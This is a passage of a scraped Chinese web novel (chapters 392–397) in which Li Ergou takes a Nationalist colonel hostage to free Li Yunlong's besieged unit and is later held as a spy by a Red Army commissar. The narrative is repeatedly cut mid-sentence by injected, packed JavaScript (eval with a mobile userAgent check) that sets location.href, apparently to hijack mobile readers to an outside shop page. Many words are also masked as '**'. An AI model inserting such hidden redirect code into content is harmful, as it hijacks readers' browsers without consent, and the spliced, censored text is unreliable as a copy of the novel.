两人向四周瞅了瞅,看见李二狗正站在村子最高的一栋房屋屋顶上。 “二狗兄弟,快下来,那里危险。”李云龙大喊道。 李二狗微微一笑,根本没当回事。 清风寨也有**和迫击炮,他知道,一般枪的射程超过五百米就没了准星,而迫击炮打过来的时候,能清晰地看到它飞行的轨迹,更何况,迫击炮的精准度非常差。 看到李二狗从屋顶走下来,李云龙赶紧上前说道:“二狗兄弟,你爬那么**啥?实在是太危险了。” 李二狗不在意地说道:“放心吧,没事,我心里有数。” “刚刚我和周政委已经决定从村子东面突围出去,待会你和周政委一起行动,咱们在东面大山里汇合。” 刚才李二狗从屋顶已经看清了村子四周的地形,村东两里之外确实是大山,但中间无遮无拦,从东边冲出去无疑会成为敌人的活靶子。 而村南村北也是一片开阔地,更是无遮无拦。 村西是一条小河,河上有一座小桥已经被炸毁,过了河同样是一片开阔地。 李二狗实在想不明白,团部当初为何会选择这个村子作为团部,这里实在是不适合作为指挥场所。 李云龙仿佛看出了李二狗的疑虑,痛骂道:“老子真想把特派员那被驴踢的脑袋扭下来当夜壶!” 第392章 于千万人之中取上将首级 “云龙兄,你跟我来!” 李二狗说完又向刚才站立的屋顶走去,李云龙不知道李二狗要做什么,还是赶紧跟了上去。 两人爬到屋顶,李二狗指向村子西南方向。 “云龙兄,你看那里。” 李云龙顺着李二狗手指的方向,看到在村子西南方向的小河边搭有一顶帐篷,帐篷旁边站着两个军官模样的人。 “敌人的指挥部?” 李云龙不愧是打仗的一把好手,他立马看出那里是敌军的临时指挥部。 “对,肯定是他们的临时指挥部。他们现在正在生火做饭,我分析,他们吃完饭之后就要对村子发动最后的进攻,这是我们唯一能抓住的机会。” “你想怎么做?” 李云龙虽然没听明白李二狗的意思,但他知道,李二狗心中肯定已经有了主意。 “现在这群敌人对咱们的情况还不了解,刚刚村口埋设的**吓退了他们,所以他们并没有贸然对村子发动总攻,不过他们肯定不会等到天黑在动手。” 李云龙频频点头,李二狗分析的的确很有道理。 “马上到中午了,正是午饭的时间,他们的防守肯定会有所松懈,所以我想……” 李二狗又看向敌人临时指挥部,目露杀机。 李云龙和李二狗几乎同时说道:“擒贼先擒王!” 两人相视而笑,李云龙说道:“如果端掉他们指挥部,擒住他们的指挥官,一定可以扭转战局,但你看,村子到那顶帐篷之间有这么大的一片开阔地,现在又是白天,想悄悄接近他们几乎是不可能做到的。” “事在人为嘛,”李二狗笑道,“我想去试试。” “你?一个人?二狗兄弟,你不会是在开玩笑吧?这可万万使不得!”李云龙惊得连连摆手。 “云龙兄,现在情况紧急,咱们如果从东面突围,很可能会全军覆没,还是让我去试一试吧,总比困死在这里强!” “可这实在是太危险了!”李云龙还是下不了决心。 “等他们吃过午饭,可就真得没有机会了!”李二狗催促道。 李云龙还在犹豫着,因为他知道,这一去肯定是九死一生!甚至是有去无回! “二狗兄弟,你不是我们红军,没必要和我们一起送死,我去找户人家,你还是伪装成老百姓留下吧,等我们突围之后,你再想办法离开!” 李二狗一听,立马急了。 “云龙兄,你把我李二狗看成什么人了?贪生怕死之徒吗?这样即使我活下来,我也会鄙视自己一辈子!” 李云龙劝道:“可你真得不是红军,又没有加入我们党,你本来就是普通老百姓,又何来贪生怕死之说?” 不可否认,李云龙说得确实很有道理,李二狗确实只是一名普通老百姓。 李二狗也不想死,他知道如果自己**,他的那些女人肯定会非常痛心,甚至以身殉情! 可这个时候,他不能做孬种。 扔下李云龙,自己去苟且偷生,不仅自己无法说服自己,自己的女人知道了也会鄙视自己。 更重要的是,李二狗对自己的计划充满了信心。 “云龙兄,我意已决,你不要再劝了!” 李云龙没想到李二狗比自己还倔,真对自己的脾气。 “好,我同意,那我多派几个人和你一起去。” “不用!人多反而更容易暴露,我自己去就可以。” 李云龙这辈子没服过谁,李二狗是第一个! “那好,二狗兄弟,我等你的好消息。” “云龙兄,到时候我会想办法把他们所有的兵力都调到村子西南方向,你们做好准备,随时准备从村**围出去。” 李二狗这是做好了赴死的决心,李云龙顿时热泪盈眶。 “二狗兄弟,我会安排周政委带队突围,我不能丢下你一个人!” “云龙兄,我有办法全身而退,你们先突围出去,我才能放开手脚,大干一场!” 于千万人之中取上将首级,然后再全身而退,古今中外,只有三国赵子龙做到了! 可那也是因为曹操爱惜人才,不舍得痛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298959|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' **! **反对派可绝不会手下留情。 李二狗这一去,基本是有去无回! 想到这,李云龙一把抱住他,手不停地拍打着他的肩膀。 “二狗兄弟,保重!” 李二狗微微一笑,转头对刘**说道:“特派员同志,看到了吗?李云龙同志绝不是反**分子!” 刘**心中当然清楚李云龙不是反**分子,他和李云龙是个人恩怨,李云龙非死不可! 但现在他不得不暂时放弃这个想法,一切等到自己脱离了危险再说。 “请你放心,我们组织绝不会冤枉一个好人。” 李二狗不再理他,他转身看向李云龙,说道:“云龙兄,给我一把**,然后再给我两颗**。” 李云龙亲手把自己的配枪送给李二狗,张大彪也解下自己的两颗**送给李二狗。 李二狗把枪和**分别别在腰间,挥手和他们作别。 此时颇有一种风萧萧兮易水寒,壮士一去兮不复还的意境! 李二狗刚离开,李云龙便迅速登上了屋顶。 他看到李二狗潜伏在离小河边不远处的一棵大树后面,然后匍匐前进,很快就跳进小河中。 他伸手折了一根芦苇,含在嘴里,悄然潜入河底。 李云龙大喜过望,原来李二狗早就有所准备。 他拿起望远镜,看见那根芦苇悄悄向敌军指挥部的方向移动,很快便接近了那顶帐篷。 李云龙紧张的手心里直冒汗,而李二狗则在河水中冻得瑟瑟发抖。 十月的河边冰冷刺骨,他感觉五脏六腑都被冻透了。 此时,大部分士兵都围在一起吃饭,河边方向并没有负责警卫的士兵。 李二狗从河里露出脑袋,发现岸边并没有人。 他赶紧从河里爬上岸,然后趴在河边的一个洼地里。 洼地在帐篷后方,李二狗从洼地里爬出,手持**,摸进了帐篷里。 帐篷里有两个军官正在吃饭,看到李二狗**冲闯了进来,顿时呆住了! 第393章 李云龙脱险 正站着吃饭的那个军官吓得手一哆嗦,碗“当啷”一声掉在地上,他假装镇定地喝问道:“你是什么人?” 李二狗并不知道这两个军官哪个官职大,哪个官职小,他认为坐着吃饭的军官肯定官职更大一些! 李二狗脸上挂着笑容,并未答话。 站着的那个军官见李二狗来者不善,和坐着的那个军官交换了一个眼神,刚要掏出**,李二狗手指已经扣动**,一**了站着的那个军官,然后用枪挟持了坐着的那个军官。 “你……你到底是什么人?” 李二狗穿着一身湿漉漉的中山装,虽略显狼狈,但眉宇间依然透露着一股英气,看气质并不像是红军。 他微微一笑,显得气定神闲,仿佛只是在干一件稀松平常的小事。 “我是什么人并不重要,重要的是你现在已经成为了我的俘虏!” **引起了正在吃饭士兵的恐慌,他们扔下饭碗,立马拿起枪包围了帐篷。 由于不知道帐篷里面究竟发生了什么,他们只是围住帐篷,并不敢贸然进入。 “团长,怎么了?”一个副官模样的人悄悄靠近帐篷,小心翼翼地问道。 李二狗把**从腰里掏出来,把保险盖拧开,然后把引信勾在手指上,举到被俘虏的那名**军官面前晃了晃。 “你如果敢耍什么花样,咱们就同归于尽!” 李二狗英勇无畏的气质顿时镇住了这名**的上校团长。 大把的荣华富贵在等着他,他可不愿意死在这里。 “好汉,好汉,你有什么要求尽管提,我全部答应你!” “你马上下命令,让你部队所有的人马上到这里集合,不得耽搁!” 这名**军官稍一犹豫,李二狗立马把手里的**在他眼前晃了晃,他立马屈服。 “好好好,我马上下命令!” “张副官!” “到!” 门外的张副官听到团长的命令,立马掀开门帘,当他看到团长被人挟持时,手里的**竟然吓得掉在地上。 他刚要弯腰去捡枪,李二狗大声呵斥道:“你想害死他吗?” **军官立马痛骂道:“你**想害死老子吗?” 张副官吓得待在原地,瑟瑟发抖。 “不敢,不敢!” 李二狗在身后推了一下**军官,命令道:“快下命令!” **军官不敢怠慢,立马下达了命令。 在他心中,其实能不能消灭红军并不重要,但自己的性命一定要保住! “你马上去通知所有的人立马到这里集合!” “所有人?”张副官害怕自己听错了,疑惑地问了一句。 “所有人!”**军官大声嚷道,“立刻!马上!” 张副官转身跑了出去。 “张副官,里面发生了什么?”张副官刚一出来,一名连长马上凑过来问道。 “团……团长在里面被人挟持了!” “什么?团长被人挟持了?” 这名连长是个大嗓门,他这一嗓子,几乎所有人都知道帐篷里的团长被挟持了。 “张副官,怎么办?我们要不要冲进去救团长?” “那人身上绑满了**,你进去救吧?!”张副官夸张地说道。 这名连长立马不说话了,他实在没有必要为了救团长而丢掉自己的性命,再说,团长也没让人进去救,自己何必逞这个英雄! 张副官马上叫来两名通信兵。 “你们以最快的速度去通知各位营长,让他们马上带上所有的人到这里集合!此命令十万火急,如有耽搁,军法从事!” 通信兵答应一声,不敢耽搁,赶紧上马奔驰而去。 很快村子周围的**军队全部向西南方向移动,这一切都被李云龙在望远镜里看得一清二楚。 “所有人,立刻准备从村子东面突出重围!” 张大彪问道:“连长,那二狗兄弟怎么办?” 自从李二狗进入帐篷,李云龙便看不到里面的情形,他也不知道李二狗此时到底是什么情况。 一个团的**军队全部集中到村子西南,李二狗虽然挟持了一名他们团长,可他最终怎么脱身,李云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298960|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 龙实在难以想象。 那可是整整一个团的**部队! 此时的李云龙已经完全无能为力! 他只能在心里默默祈祷李二狗能够安全脱身。 “所有人,准备撤离!” 刘**并不知道发生了什么,他看到李云龙越过自己,直接对队伍下达了突围的命令,丝毫没有把他这个特派员放在眼里,内心极度愤怒。 “周政委,他李云龙也太不把我们放在眼里了吧?有你我在这里,什么时候轮到他下达命令?” 周天放对于李云龙的这种做法也颇有不满,毕竟他只是一名连长,可现在只有李云龙能带领他们突出重围。 “特派员,现在情况紧急,李云龙心里也是着急,我们还是赶紧突围吧!” 刘**心里嘀咕道,李云龙啊李云龙,我先让你小子嚣张一会儿,等突围出去,看我怎么收拾你! 村子东面的敌人全部撤往村子西南方向,李云龙带领着团部和警卫排的战士轻而易举地离开村子撤进东面的大山。 “报告!”张副官站在帐篷外,没敢进去。 “说!” “所有人已经到达,请团长指示。” 李二狗此时站在这名**团长身后,计算着李云龙撤离的时间。 “好汉,我已经按照您的吩咐把他们全部集中到这里,您看是不是可以放了我?” “放了你?”李二狗冷笑一声,没想到堂堂**团长,智商却和一个三岁小孩一样,“我放了你,你会放了我吗?” **团长立即保证道:“当然,当然,只要你放了我,我立马放你走。” “你相信你说的话吗?”李二狗反问道。 “我……我当然相信,我褚云飞说话向来是一口唾沫一颗钉,绝不食言!” 尽管褚云飞说得信誓旦旦,但李二狗不会相信他说的一个字。 李二狗估算了一下时间,想来这个时候李云龙已经带人突围出去。 “马上命令你的人,让他们从什么地方来再回到什么地方去。” 褚云飞有一种被人**的感觉。 第394章 后会有期 “好汉,您这是要做什么?” “做什么?呵呵,你心里想的没错,我就是在**你,你心里是不是特别恨我?” 褚云飞是黄埔二期毕业的高材生,内心一直有一种天之骄子的优越感,没想到如今却被人像猴一样耍来耍去,他内心怎能不气! 可人在屋檐下,不能不低头,他明白好汉不吃眼前亏的道理。 “不敢,不敢,我怎敢恨您?我现在马上下命令,让他们马上回去。” “褚团长果然识时务,是个英雄,哈哈!” 褚云飞脸上的笑比哭还难看,他不敢不赔着笑。 “好汉是英雄,我只是个狗熊,是个狗熊!” 李二狗没想到**团长这么草包,还不如江东县保安团的团长有胆识。 “少他娘废话,赶紧下命令!” “好的,好的,”褚云飞向门外喊道:“张副官,马上让刚来的人回到原来的地方,立即执行,不得有误!” 张副官十分不解,但也不敢多问。 “是,团长!” 张副官把命令传达给各营营长,大家顿时炸开了锅。 一个营长抱怨道:“团长现在被人挟持,却把咱们调来调去,他到底想干什么?” 另一个营长是个明白人,他冷笑道:“这还不明白吗?是让咱们给村子里的红军让出一条道路,想来现在村子里的人早就跑了。” 一语惊醒梦中人,大家全部明白过来。 “哎呀,就这样轻易放跑了红军?咱们要不要带兵去追?” “你傻啊?咱们执行的是团长的命令,团长只是命令咱们回到原来的地方,并没有让咱们去追!” “对啊,咱们要是轻举妄动,以后追起责来说不定会成为……”他眼睛瞥向帐篷,“替罪羊!” 大家顿时领悟过来,现在的情形无过就是功,以后上级追查下来,他们并不知情。 “对对对,那我们还是听团长的命令,赶紧回去吧。” “可团长现在……” “团长肯定有自己的安排,咱们只管听命令就好了。你们不走,我可先走了。” 这名营长说完,带领自己营的人去了村子北面,其他人见状,纷纷带领自己的人走了。 “好汉,我已经按照您的吩咐把人调走了,您现在是不是可以把我放了?” “褚团长,你好人做到底,还得麻烦你再送我一程。” “送你一程?怎么送?”褚云飞故意装起了糊涂。 “借你的车一用,把我送出去。” “这……” 褚云飞刚一犹豫,李二狗立马把手里的**在他眼前晃了晃。 “要不然咱们就一起上路?” “好,好,我答应送你出去。” 褚云飞心里也有自己的小九九,送他一程,等自己脱险后,再带兵追击,看他能跑到哪里去! 李二狗把两颗**全部打开后盖,拉出引信,插到褚云飞腰间的皮带里,然后又从兜里拿出一根事先准备好的麻绳,一头系在**引信上,一头拉在自己手里。 褚云飞没想到李二狗还有这么不要脸的招数,自己真是逃无可逃! “褚团长,你可千万不要乱动,我这人胆小,要是受到惊吓,这手一哆嗦,咱俩可就真得要一起上路了。” 褚云飞心里恨得牙痒痒,可脸上却保持着难看的笑容。 “好汉放心,我保证不乱动!” 李二狗一手攥着麻绳,一手用枪在身后指着褚云飞的脑袋,两人走出了帐篷。 上百名**士兵举枪对准了他们。 “谁敢动一动,老子立马拉响**!” 听了李二狗的威胁,大家才看到褚云飞腰间别着的两颗**。 褚云飞怕有人轻举妄动害了自己,赶紧大声命令道:“所有人把枪放下,谁敢开枪,老子**了他!” 褚云飞此话一出,所有人都把枪放下了。 救你还要被你威胁**,这些人又不是傻雏,他们才不会冒这个险! 李二狗押着褚云飞上了一辆吉普车。 “好汉,我不会开车!我还是给您叫个司机,让他把你送走吧。” 李二狗笑道:“让司机换你?你还真不傻!马上让司机上来,我们一起走!” 褚云飞只好叫来一名司机。 司机跑过来,打着火,刚要松开手刹,李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306038|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 二狗命令道:“先等一下!” 他手指向张副官,勾勾手让他过来。 张副官难以置信地用手指了指自己,李二狗微笑地点头。 “没错,就是你,快过来!” 张副官只好跑到李二狗面前。 “好汉,您有什么吩咐?” “你带几个人,用刺刀把那几辆卡车的轮胎扎破!” “啊?这……” 张副官不知所措地看向褚云飞,褚云飞呵斥道:“看**什么?按好汉说的去做,快!” 张副官只好带着几个人跑到卡车跟前,用刺刀把几辆卡车的轮胎全部扎破。 李二狗这时又看向吉普车的油表,发现只有不到半箱油。 “你下去,把油加满!” 司机没想到李二狗还看得懂油表,只好下车去拿来一桶汽油,把油箱加满。 “往北开!快!” 司机一脚油门,吉普车猛地蹿了出去,一口气开出十里地。 “停车!” 司机猛地一踩刹车,吉普车停了下来。 “下车!” 司机很狡猾,下车的瞬间他把车钥匙拔了下来攥在手里,这一切都被李二狗看在眼里。 李二狗最恨的就是这种耍小聪明的人。 “砰!” 李二狗一枪要了他的命! 褚云飞吓坏了,他以为李二狗要大开杀戒,吓得立马瘫在地上。 “好汉,饶命!好汉,饶命!” 李二狗闻到一股浓郁的腥臊味,褚云飞吓尿了。 李二狗鄙夷地看了他一眼,不屑地说道:“刚才说了你送我出来我就饶你一命,我说话绝对算数。” 李二狗俯身从司机手里拿过钥匙。 “我最恨这种自以为是的家伙!” 褚云飞脸都吓白了。 李二狗从褚云飞腰间拔出那两颗**,扔在副驾驶座位上,然后坐上驾驶室,熟练地打着火。 “褚团长,谢谢你送我出来,咱们后会有期!” 李二狗说完一脚油门,开着汽车扬长而去。 扬起的尘土纷纷扬扬地洒落在褚云飞身上,他欲哭无泪! 第395章 李二狗再次被抓 李二狗开着军用吉普车在山间的土路上一路疾驰,扬起的尘土遮天蔽日。 褚云飞的部队没有了卡车,别说追击李二狗,就连吉普车的屁股都没看到。 李二狗一脚油门就开出几十里山路,虽然甩掉了褚云飞的部队,却引起了根据地红军部队的注意。 “哐当”一声,李二狗开得吉普车毫无征兆地掉进路上的一个土坑里。 他的头猛地撞在方向盘上,只觉得天旋地转,眼冒金星,隐约看见前方小树林里跑出来几个穿着红军军服的人。 他想睁大眼睛看清楚,脑袋却头痛欲裂。 突然他眼睛一闭,昏死过去。 醒来时,他的脑袋依旧昏昏沉沉,他看到自己正躺在一间昏暗房间的草堆上,双手双脚又被捆得结结实实。 这一瞬间,李二狗有一种穿越的感觉,同样的房间、同样的五花大绑,如果他猜得没错,自己肯定也是被同一伙人绑住的! 不知道过了多久,房门从外边打开了。 一束强光照射进来,晃得李二狗直眼晕。 “同志,我……我这是在哪里?” 李二狗从李云龙那里学会了使用“同志”这个词,他知道这个词在红军根据地意味着什么。 “狗特务,同志也是你能叫的?” 他忍不住踢了李二狗一脚,心中怀着对**特务的深仇大恨。 “哼!你给我放老实点,狗特务!” 说完,他便在李二狗面前放下一碗稀饭和半个窝头走了出去。 “同志,我……我这怎么吃啊?” “你爱怎么吃就怎么吃?难道还想我喂你吗?狗特务!就该饿死你!” 李二狗看着金灿灿的半个窝头和稀饭传来的野菜香味,肚子便“叽里咕噜”地叫了起来。 他忍不住舔了舔有些干裂的嘴唇,在他心中,此时的半个窝头堪比满汉全席。 “来人啊……来人啊……” 刚刚开门的时候,他明明看到门外有两个站岗的战士。 可现在任凭自己喊破喉咙,也没有得到任何回复。 一个时辰过去了…… 又一个时辰过去了…… “来人啊……”李二狗已经虚弱的没有力气。 他盯着半个窝头和漂浮着菜叶的稀饭发呆,内心进行着激烈的思想斗争。 吃还是不吃? 不吃?可现在已经饿得前胸贴后背,身体马上就要虚脱…… 吃?可自己被捆住双手双脚,只能匍匐在地上,像狗一样用嘴去叼着碗…… 理智终究没有战胜越来越强烈的饥饿感,李二狗在现实面前还是选择了屈服! 他趴在地上,用嘴去咬住放在筷子上的半个窝头,两三口就吃到了肚子里。 然后他又趴在碗前,用嘴去吸溜碗里的稀饭,一口气喝掉了整碗稀饭。 李二狗意犹未尽地舔了舔嘴上的残渣,然后下意识地看向房门。 好在并没有人看到这无比尴尬的一幕,李二狗内心稍安。 不知道又过了多久,房门再次被打开。 李二狗以为又有人来送饭,睁眼却看到进来三个人。 一下子进来三个人,李二狗意识到情况不对。 果然,一个年纪稍长的男人命令道:“把他带出去。” 两个年轻的战士上前架起李二狗,像拖死狗一样把李二狗拖了出去。 李二狗被拖到一间屋子里,屋子正中坐着一个戴眼镜的中年人,他目光锐利地盯着趴在地上的李二狗。 “说说吧,你到我们根据地的任务是什么?” 李二狗心想,为什么每次他们都把自己当成特务?难道自己脸上写着“特务”二字吗? 他快速想了想,才说道:“我来这里是为了消除内心的迷茫,追寻未知的理想。” 戴眼镜的这名中年人名叫胡天佑,以前是北平燕京大学的学生,参加领导过**,是一名地地道道的高级知识分子。 他听了李二狗诗意的语言,不禁重新审视着这个略显狼狈的男人。 如果他真是**派到根据地的特务,即使撒谎也绝不可能用这种语言。 胡天佑看李二狗身上的中山装虽然沾满了泥土,显得极其狼狈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306039|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 但身上却有一股凛然正气,根本不像是特务分子。 “来人,把他身上的绳子解开。” 门外的一个红军战士走了进来。 “政委,**特务都很狡猾,松开他,万一……” 胡天佑笑道:“咱们这么多人,难道还害怕一个赤手空拳的特务吗?先解开他身上的绳子,你们提高警惕就好。” 战士只好上前把李二狗身上的绳子解开。 李二狗又累又饿,头上还受了伤,他身体摇晃着,好像随时都会重新摔倒在地上。 “这位先生,请坐。” 李二狗不知道眼前这位文质彬彬的中年人为何突然对自己这么客气,他现在完全没有力气去思考这件事情。 他的身体不受控制地瘫坐在一把椅子上,然后虚弱地靠在椅背上。 “我……我……饿……” “来人,马上去端碗米饭来。” 很快便有人端来一碗米饭,米饭上还放了几根咸菜丝。 李二狗看到米饭,顾不得自身形象,立刻狼吞虎咽地吃了起来。 “再来一碗!”李二狗吃完一碗,不客气地说道。 “再去拿一碗来。” 很快,一个战士又端了一碗米饭,李二狗再次狼吞虎咽地吃了起来,一直吃到不停地打着饱嗝。 “水……水……” 胡天佑赶忙亲自给李二狗倒了一杯热水,李二狗接过一饮而尽。 他深吸一口气,感觉自己终于又活了过来。 胡天佑一脸微笑地看着李二狗,丝毫没有取笑他的意思。 “这位先生,现在你吃饱喝足了,是不是可以告诉我你的**?” “我刚刚没有骗你,我确实是来这里寻找未知理想的。” 在李云龙那里,李二狗刚刚见识了他们内部斗争的残酷性,此时,他并不想表明自己和李云龙的关系。 更何况,李云龙现在处境如何尚不可知,他实在没有必要利用李云龙的名号来为自己开脱。 “那你能解释一下,你为何开着****派的吉普车出现在根据地吗?” 第396章 特务难道会把自己是特务写在脸上吗 李二狗一时不知道该如何回答胡天佑的这个问题。 “昨天,我路过一个村子,有一个**的军官正在**一名女子,我实在看不下就去阻止,没想到他竟要开枪打我,我夺下他手中的枪,一**了他。” “你毙了一名**军官?”胡天佑简直难以置信。 “是啊,毙了他之后,一群**士兵就向我冲过来,没有办法,我才开着这辆吉普车带着那名女子跑了出来。” 李二狗说的很真诚,胡天佑则听得半信半疑。 赤手空拳杀了一个**的军官,还能自己开着吉普车把受**的女子救出来,这简直是小说里才有的情节。 “那个女子呢?” “我为了引开追击的敌人,让她半路下车了。” 胡天佑愈加佩服李二狗。 “对了,你刚才说的那个村子叫什么名字?” “碾庄。” 胡天佑大吃一惊,碾庄是独立团团部所在地,怎么会有**的部队? “你确定是碾庄吗?” 李二狗知道碾庄是李云龙那个团的团部所在地,他之所以说出碾庄的名字,就是为了证明自己没有说谎。 “我确定。” 和李二狗预料的一样,胡天佑听到碾庄出现**部队之后,立刻变得紧张起来。 目前,****派正在调集重兵围剿根据地,如果**的部队出现在碾庄,那独立团肯定遇到了危险。 “你说你路过碾庄,那碾庄现在是什么情况?” “好像刚刚打过仗的样子,村子里的很多房屋都烧毁了。” 胡天佑急忙问道:“那你有没有看见穿我们这种军服的人?” “有。” “真的?” “真的,不过他们都**,大约有十几具尸体被扔在村西的小河边。” 胡天佑大惊失色,一屁股跌坐在椅子上。 李二狗从胡天佑的神色判断,他和李云龙这个团应该很熟悉。 “这位长官,你和他们认识?” 胡天佑和独立团团长段大德是大学同学,当年两人一起加入**党,一起参加红军,感情甚笃,此时他还不知道段天德已经被当成反**分子**。 “我们红军部队亲如一家,不像**部队那样分崩离析。”胡天佑含糊地说道。 胡天佑虽然说的含糊,但脸上的关心之情却是掩饰不住。 “这位长官,如果没有别的事情,我就先走了。”李二狗并不想在这里多做停留。 “好,我送你出去。” 胡天佑刚把李二狗送到门口,迎面走来一个凶神恶煞之人。 “张特派员,您回来了。”胡天佑客气地向他问好。 李二狗听到“特派员”三个字就忍不住浑身打了个寒颤,没想到这支部队里也有特派员。 怎么哪里都有特派员?! 张特派员名叫张胜利,是和刘**一起被上级组织派到这里开展肃反运动的,只不过他们不在一个团。 李二狗的穿着打扮和疑惑且充满不屑的眼神立即引起了张胜利的注意。 “站住!你是哪支部队的?我以前怎么没有见过你?” “我不是你们红军!”李二狗冷冷地说道。 胡天佑赶忙解释道:“他只是路过咱们部队,被战士们当成特务抓了起来,现在已经查明,这一切都是误会。” “误会?”张胜利上下打量着李二狗,“正经人谁穿着一身中山装到山区来?” 李二狗对张胜利的做派非常不屑,他实在想不明白上级组织为什么会派这种人到部队来作威作福? “难道**特务会穿着中山装潜伏到山区来?生怕你们发现不了他们吗?” 李二狗的质问合情合理,竟怼得张胜利哑口无言。 “牙尖嘴利,一看就不是好人,来人,把这个人给我抓起来!” 跟在张胜利身后的两名战士立刻上前要抓李二狗,**天佑阻止了。 胡天佑虽然并不认识李二狗,但他能为了救一个素不相识的女子击毙**军官,想来是一个有胆有识之人。 胡天佑佩服这样的人。 “特派员,我已经调查过了,他不是**特务,还是让他走吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308102|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' /p> “老胡啊,你这个人怎么这么幼稚?特务难道会把自己是特务写在脸上吗?现在是非常时期,到处都是****派,我们宁可抓错人,也不能放走一个特务!” “对,宁可错杀一千,不可使一人漏网!”李二狗讥笑道。 “你?还愣着干什么?把这个人给我抓起来!”张胜利恼羞成怒地说道。 两名战士立刻上前把李二狗抓了起来。 “你们凭什么抓我?”李二狗梗着头质问道。 “凭什么?凭你不是个好东西!” 正在这里,一名战士慌里慌张地跑了进来。 “报告政委,报告特派员,出……出大事了!” 张胜利不满地说道:“慌什么?有事慢慢说。” “是……是,特派员!独立团的团部被**的一支部队给端了!” “你……你说什么?”张胜利大惊失色。 “报告特派员,独立团的团部昨天被**的一支部队给端了!” 胡天佑听到这个消息也是震惊不已。 “段大德怎么样?”他急忙问道。 “**!” “什么?”胡天佑一个踉跄,身体猛地向后退了几步,“这怎么可能?” 战士继续报告道:“从碾庄跑出了一个老乡,他说段团长被……被……特派员**了!” 胡天佑脸色大骇,他没想到段大德竟是被特派员**的! 张胜利也没想到刘**做事竟有如此气魄,直接**了他们团长,自己和他比起来,步子确实迈得太小了。 “其他人怎么样?”张胜利问道。 “村子被**包围了,逃出来的这位老乡当时正在村外的小树林放羊,他没敢回村就跑了出来。” 一般情况下,团部除了几位团领导,只驻扎有警卫排几十号人。 如果团部被包围,驻扎在附近的营连肯定会全力以赴赶去救援。 但现在每支部队都在开展肃反运动,连团长都被当成反**分子**了,其他人什么样真得很难确定,如果…… 胡天佑不敢再想下去! 第397章 李二狗跳崖 “特派员,现在独立团遇到了危险,我们不能见死不救啊,我建议马上把宋团长放出来指挥战斗。” 新一团团长宋千里目前正被关押审查,胡天佑想借此机会把他救出来。 张胜利刚刚听说刘****了独立团团长段大德,自己和他比起来,无论是对**忠诚还是干**的劲头都落在了他后面,这一次,他绝对不能再落后。 “胡政委,宋团长的事情还没有调查清楚,我们怎么可以把他放出来?你这是对**的极度不负责!” 胡天佑争辩道:“特派员,您也说了事情还没有调查清楚,既然没有调查清楚那就说明没有查出问题,为什么不能先把宋团长放出来?我们现在需要他打带兵打仗!” “怎么?”张胜利冷笑道,“在新一团,除了他宋千里,其他人都不会打仗了吗?难道没有宋千里,咱们红军将士就要束手就擒吗?胡天佑同志,你这是典型的个人英雄主义,在我们纯洁的**队伍里,这种思想是万万要不得的!” 张胜利这种冠冕堂皇的话令胡天佑十分厌恶,可他又没有办法,否则,自己和宋千里的命运将是一样的。 李二狗则忍不住笑了出来,张胜利和刘**的话简直是一个老师教的,连神态、语气都一模一样。 “你笑什么?” 张胜利怒视着李二狗,在整个新一团,他讲话的时候没人敢表现出不尊重的态度。 “我想笑就笑喽,难道笑还需要理由吗?” “不需要吗?” “当然不需要!” 